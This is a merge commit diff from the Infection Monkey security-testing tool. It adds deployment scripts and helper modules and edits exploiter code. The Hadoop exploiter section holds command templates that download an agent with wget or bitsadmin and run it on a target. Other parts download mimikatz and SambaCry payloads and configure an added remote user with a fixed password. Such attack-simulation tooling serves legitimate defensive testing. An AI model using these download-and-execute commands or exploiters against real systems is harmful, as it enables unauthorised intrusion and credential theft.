Merge branch 'develop' into feature/mssql_exploiter

# Conflicts:
#	monkey/infection_monkey/requirements.txt
#	monkey/monkey_island/cc/services/config.py
#	monkey/monkey_island/cc/services/report.py
#	monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
This commit is contained in:
maor.rayzin 2019-01-07 17:42:00 +02:00
commit 2ac98ca5fc
77 changed files with 14379 additions and 12008 deletions

View File

@ -44,7 +44,8 @@ Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in t
Building the Monkey from source
-------------------------------
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder.
If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).

View File

@ -0,0 +1,23 @@
# Files used to deploy development version of infection monkey
## Windows
Before running the script you must have git installed.<br>
Cd to scripts directory and use the scripts.<br>
First argument is an empty directory (script can create one) and second is branch you want to clone.
Example usages:<br>
./run_script.bat (Sets up monkey in current directory under .\infection_monkey)<br>
./run_script.bat "C:\test" (Sets up monkey in C:\test)<br>
powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)<br>
./run_script.bat "" "master"(Sets up master branch instead of develop in current dir)
Don't forget to add python to PATH or do so while installing it via this script.<br>
## Linux
You must have root permissions, but there is no need to run the script as root.<br>
Launch deploy_linux.sh from scripts directory.<br>
First argument is an empty directory (script can create one) and second is branch you want to clone.
Example usages:<br>
./deploy_linux.sh (deploys under ./infection_monkey)<br>
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>
./deploy_linux.sh "" "master" (deploys master branch in script directory)<br>
./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)<br>

19
deployment_scripts/config Normal file
View File

@ -0,0 +1,19 @@
#!/usr/bin/env bash
# Absolute monkey's path
MONKEY_FOLDER_NAME="infection_monkey"
# Url of public git repository that contains monkey's source code
MONKEY_GIT_URL="https://github.com/guardicore/monkey"
# Monkey binaries
LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
LINUX_32_BINARY_NAME="monkey-linux-32"
LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
LINUX_64_BINARY_NAME="monkey-linux-64"
WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
# Mongo url's
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"

View File

@ -0,0 +1,48 @@
# Absolute monkey's path
$MONKEY_FOLDER_NAME = "infection_monkey"
# Url of public git repository that contains monkey's source code
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
# Link to the latest python download or install it manually
$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
# Monkey binaries
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
$LINUX_32_BINARY_PATH = "monkey-linux-32"
$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
$LINUX_64_BINARY_PATH = "monkey-linux-64"
$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so"
$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so"
$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so"
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
$MK32_DLL = "mk32.dll"
$MK64_DLL = "mk64.dll"
$TEMP_PYTHON_INSTALLER = ".\python.msi"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
$TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
$TEMP_UPX_ZIP = "upx.zip"
$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
$UPX_FOLDER = "upx394w"
# Other url's
$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"

View File

@ -0,0 +1,157 @@
#!/bin/bash
source config
# Setup monkey either in dir required or current dir
monkey_home=${1:-`pwd`}
if [[ $monkey_home == `pwd` ]]; then
monkey_home="$monkey_home/$MONKEY_FOLDER_NAME"
fi
# We can set main paths after we know the home dir
ISLAND_PATH="$monkey_home/monkey/monkey_island"
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
MONGO_BIN_PATH="$MONGO_PATH/bin"
ISLAND_DB_PATH="$ISLAND_PATH/db"
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
handle_error () {
echo "Fix the errors above and rerun the script"
exit 1
}
log_message () {
echo -e "\n\n-------------------------------------------"
echo -e "DEPLOYMENT SCRIPT: $1"
echo -e "-------------------------------------------\n"
}
sudo -v
if [[ $? != 0 ]]; then
echo "You need root permissions for some of this script operations. Quiting."
exit 1
fi
if [[ ! -d ${monkey_home} ]]; then
mkdir -p ${monkey_home}
fi
git --version &>/dev/null
git_available=$?
if [[ ${git_available} != 0 ]]; then
echo "Please install git and re-run this script"
exit 1
fi
log_message "Cloning files from git"
branch=${2:-"develop"}
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error
chmod 774 -R ${monkey_home}
fi
# Create folders
log_message "Creating island dirs under $ISLAND_PATH"
mkdir -p ${MONGO_BIN_PATH}
mkdir -p ${ISLAND_DB_PATH}
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
python_version=`python --version 2>&1`
if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
exit 1
fi
log_message "Updating package list"
sudo apt-get update
log_message "Installing pip"
sudo apt-get install python-pip
log_message "Installing island requirements"
requirements="$ISLAND_PATH/requirements.txt"
python -m pip install --user -r ${requirements} || handle_error
# Download binaries
log_message "Downloading binaries"
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
# Allow them to be executed
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
# Get machine type/kernel version
kernel=`uname -m`
linux_dist=`lsb_release -a 2> /dev/null`
# If a user haven't installed mongo manually check if we can install it with our script
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
echo "Script does not support your operating system for mongodb installation.
Reference monkey island readme and install it manually"
exit 1
fi
# Download mongo
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
log_message "Downloading mongodb"
if [[ ${linux_dist} == *"Debian"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
fi
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
else
log_message "Mongo db already installed"
fi
log_message "Installing openssl"
sudo apt-get install openssl
# Generate SSL certificate
log_message "Generating certificate"
cd ${ISLAND_PATH} || handle_error
openssl genrsa -out cc/server.key 1024 || handle_error
openssl req -new -key cc/server.key -out cc/server.csr \
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
# Install npm
log_message "Installing npm"
sudo apt-get install npm
# Update node
log_message "Updating node"
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
sudo apt-get install -y nodejs
log_message "Generating front end"
cd "$ISLAND_PATH/cc/ui" || handle_error
npm update
npm run dist
# Monkey setup
log_message "Installing monkey requirements"
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error
python -m pip install --user -r requirements.txt || handle_error
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
chmod +x ./build.sh || handle_error
./build.sh
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
log_message "Deployment script finished."
exit 0

View File

@ -0,0 +1,215 @@
function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){
# Import the config variables
. ./config.ps1
"Config variables from config.ps1 imported"
# If we want monkey in current dir we need to create an empty folder for source files
if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){
$monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME
}
# Set variables for script execution
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$webClient = New-Object System.Net.WebClient
# We check if git is installed
try
{
git | Out-Null -ErrorAction Stop
"Git requirement satisfied"
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Please install git before running this script or add it to path and restart cmd"
return
}
# Download the monkey
$output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin")
if ( $output -like "*already exists and is not an empty directory.*"){
"Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory."
} elseif ($output -like "fatal:*"){
"Error while cloning monkey from the repository:"
$output
return
} else {
"Monkey cloned from the repository"
# Create bin directory
New-Item -ItemType directory -path $binDir
"Bin directory added"
}
# We check if python is installed
try
{
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like 'Python 2.7.*' ) {
"Python 2.7.* was found, installing dependancies"
} else {
throw System.Management.Automation.CommandNotFoundException
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading python 2.7 ..."
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_PYTHON_INSTALLER
# Check if installed correctly
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like '* is not recognized*' ) {
"Python is not found in PATH. Add it manually or reinstall python."
return
}
}
# Set python home dir
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
# Get vcforpython27 before installing requirements
"Downloading Visual C++ Compiler for Python 2.7 ..."
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
# Install requirements for island
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
"Upgrading pip..."
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
$output
if ( $output -like '*No module named pip*' ) {
"Make sure pip module is installed and re-run this script."
return
}
& python -m pip install --user -r $islandRequirements
# Install requirements for monkey
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt"
& python -m pip install --user -r $monkeyRequirements
# Download mongodb
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
"Downloading mongodb ..."
$webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP)
"Unzipping mongodb"
Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir
# Get unzipped folder's name
$mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name
# Move all files from extracted folder to mongodb folder
New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb")
New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db")
"Moving extracted files"
Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\")
"Removing zip file"
Remove-Item $TEMP_MONGODB_ZIP
Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse
}
# Download OpenSSL
"Downloading OpenSSL ..."
$webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP)
"Unzipping OpenSSl"
Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
# Download and install C++ redistributable
"Downloading C++ redistributable ..."
$webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
Remove-Item $TEMP_CPP_INSTALLER
# Generate ssl certificate
"Generating ssl certificate"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
. .\windows\create_certificate.bat
Pop-Location
# Adding binaries
"Adding binaries"
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
# Check if NPM installed
"Installing npm"
try
{
$version = cmd.exe /c '"npm" --version 2>&1'
if ( $version -like "*is not recognized*"){
throw System.Management.Automation.CommandNotFoundException
} else {
"Npm already installed"
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading npm ..."
$webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER)
Start-Process -Wait $TEMP_NPM_INSTALLER
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_NPM_INSTALLER
}
"Updating npm"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui")
& npm update
& npm run dist
Pop-Location
# Install pywin32
"Downloading pywin32"
$webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER)
Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop
Remove-Item $TEMP_PYWIN32_INSTALLER
# Create infection_monkey/bin directory if not already present
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
# Download upx
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
"Downloading upx ..."
$webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
"Unzipping upx"
Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
# Remove unnecessary files
Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
"Removing zip file"
Remove-Item $TEMP_UPX_ZIP
}
# Download mimikatz binaries
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
if(!(Test-Path -Path $mk32_path )){
"Downloading mimikatz 32 binary"
$webClient.DownloadFile($MK32_DLL_URL, $mk32_path)
}
$mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL
if(!(Test-Path -Path $mk64_path )){
"Downloading mimikatz 64 binary"
$webClient.DownloadFile($MK64_DLL_URL, $mk64_path)
}
# Download sambacry binaries
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
if(!(Test-Path -Path $samba32_path )){
"Downloading sambacry 32 binary"
$webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path)
}
$samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME
if(!(Test-Path -Path $samba64_path )){
"Downloading sambacry 64 binary"
$webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path)
}
"Script finished"
}

View File

@ -0,0 +1,8 @@
SET command=. .\deploy_windows.ps1; Deploy-Windows
if NOT "%~1" == "" (
SET "command=%command% -monkey_home %~1"
)
if NOT "%~2" == "" (
SET "command=%command% -branch %~2"
)
powershell -ExecutionPolicy ByPass -Command %command%

View File

@ -0,0 +1 @@
__author__ = 'itay.mizeretz'

View File

@ -0,0 +1,17 @@
import urllib2
__author__ = 'itay.mizeretz'
class AWS(object):
def __init__(self):
try:
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
except urllib2.URLError:
self.instance_id = None
def get_instance_id(self):
return self.instance_id
def is_aws_instance(self):
return self.instance_id is not None

View File

View File

@ -0,0 +1,83 @@
import wmi
import win32com
__author__ = 'maor.rayzin'
class MongoUtils:
def __init__(self):
# Static class
pass
@staticmethod
def fix_obj_for_mongo(o):
if type(o) == dict:
return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()])
elif type(o) in (list, tuple):
return [MongoUtils.fix_obj_for_mongo(i) for i in o]
elif type(o) in (int, float, bool):
return o
elif type(o) in (str, unicode):
# mongo dosn't like unprintable chars, so we use repr :/
return repr(o)
elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object:
return MongoUtils.fix_wmi_obj_for_mongo(o)
elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch:
try:
# objectSid property of ds_user is problematic and need thie special treatment.
# ISWbemObjectEx interface. Class Uint8Array ?
if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}":
return o.Value
except:
pass
try:
return o.GetObjectText_()
except:
pass
return repr(o)
else:
return repr(o)
@staticmethod
def fix_wmi_obj_for_mongo(o):
row = {}
for prop in o.properties:
try:
value = getattr(o, prop)
except wmi.x_wmi:
# This happens in Win32_GroupUser when the user is a domain user.
# For some reason, the wmi query for PartComponent fails. This table
# is actually contains references to Win32_UserAccount and Win32_Group.
# so instead of reading the content to the Win32_UserAccount, we store
# only the id of the row in that table, and get all the other information
# from that table while analyzing the data.
value = o.properties[prop].value
row[prop] = MongoUtils.fix_obj_for_mongo(value)
for method_name in o.methods:
if not method_name.startswith("GetOwner"):
continue
method = getattr(o, method_name)
try:
value = method()
value = MongoUtils.fix_obj_for_mongo(value)
row[method_name[3:]] = value
except wmi.x_wmi:
continue
return row

View File

@ -0,0 +1,25 @@
import _winreg
from common.utils.mongo_utils import MongoUtils
__author__ = 'maor.rayzin'
class RegUtils:
def __init__(self):
# Static class
pass
@staticmethod
def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE):
key = _winreg.ConnectRegistry(None, store)
subkey = _winreg.OpenKey(key, subkey_path)
d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])])
d = MongoUtils.fix_obj_for_mongo(d)
subkey.Close()
key.Close()
return d

View File

@ -0,0 +1,27 @@
import wmi
from mongo_utils import MongoUtils
__author__ = 'maor.rayzin'
class WMIUtils:
def __init__(self):
# Static class
pass
@staticmethod
def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None):
_wmi = wmi.WMI(moniker=moniker)
try:
if not properties:
wmi_class = getattr(_wmi, class_name)()
else:
wmi_class = getattr(_wmi, class_name)(properties)
except wmi.x_wmi:
return
return MongoUtils.fix_obj_for_mongo(wmi_class)

View File

@ -1,2 +1,2 @@
#!/bin/bash
pyinstaller --clean monkey-linux.spec
pyinstaller -F --log-level=DEBUG --clean monkey.spec

View File

@ -7,8 +7,6 @@ from abc import ABCMeta
from itertools import product
import importlib
importlib.import_module('infection_monkey', 'network')
__author__ = 'itamar'
GUID = str(uuid.getnode())
@ -22,6 +20,7 @@ class Configuration(object):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = []
for key, value in formatted_data.items():
@ -41,6 +40,9 @@ class Configuration(object):
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)
@ -193,7 +195,7 @@ class Configuration(object):
9200]
tcp_target_ports.extend(HTTP_PORTS)
tcp_scan_timeout = 3000 # 3000 Milliseconds
tcp_scan_interval = 200
tcp_scan_interval = 0
tcp_scan_get_banner = True
# Ping Scanner
@ -206,8 +208,8 @@ class Configuration(object):
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
ms08_067_remote_user_pass = "Password1!"
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
# rdp exploiter
rdp_use_vbs_download = True
@ -268,5 +270,7 @@ class Configuration(object):
extract_azure_creds = True
post_breach_actions = []
WormConfiguration = Configuration()

View File

@ -19,6 +19,9 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT = 15
class ControlClient(object):
@ -72,7 +75,8 @@ class ControlClient(object):
LOG.debug(debug_message)
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies)
proxies=ControlClient.proxies,
timeout=TIMEOUT)
WormConfiguration.current_server = current_server
break

View File

@ -16,6 +16,7 @@
"alive": true,
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true,
"depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
@ -57,8 +58,8 @@
"monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true,
"ms08_067_exploit_attempts": 5,
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
@ -79,7 +80,7 @@
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 10000,
"tcp_target_ports": [
22,
@ -97,5 +98,6 @@
"timeout_between_iterations": 10,
"use_file_logging": true,
"victims_max_exploit": 7,
"victims_max_find": 30
"victims_max_find": 30,
"post_breach_actions" : []
}

View File

@ -12,7 +12,7 @@ import posixpath
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ'
@ -22,16 +22,6 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
HADOOP_PORTS = [["8088", False]]
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
# to download monkey at the same time
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
" Update /download /priority high %(http_path)s %(monkey_path)s " \
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name
@ -46,6 +36,9 @@ class HadoopExploiter(WebRCE):
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
# We presume hadoop works only on 64-bit machines
if self.host.os['type'] == 'windows':
self.host.os['machine'] = '64'
paths = self.get_monkey_paths()
if not paths:
return False
@ -79,9 +72,9 @@ class HadoopExploiter(WebRCE):
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if 'linux' in self.host.os['type']:
base_command = self.LINUX_COMMAND
base_command = HADOOP_LINUX_COMMAND
else:
base_command = self.WINDOWS_COMMAND
base_command = HADOOP_WINDOWS_COMMAND
return base_command % {"monkey_path": path, "http_path": http_path,
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}

View File

@ -15,6 +15,7 @@ from infection_monkey.exploit.tools import get_target_monkey
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii
__author__ = 'hoffer'
@ -298,6 +299,10 @@ class RdpExploiter(HostExploiter):
LOG.info("RDP connected to %r", self.host)
user = utf_to_ascii(user)
password = utf_to_ascii(password)
command = utf_to_ascii(command)
client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)

View File

@ -311,7 +311,7 @@ class SambaCryExploiter(HostExploiter):
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location)))
@staticmethod
def is_share_writable(smb_client, share):

View File

@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
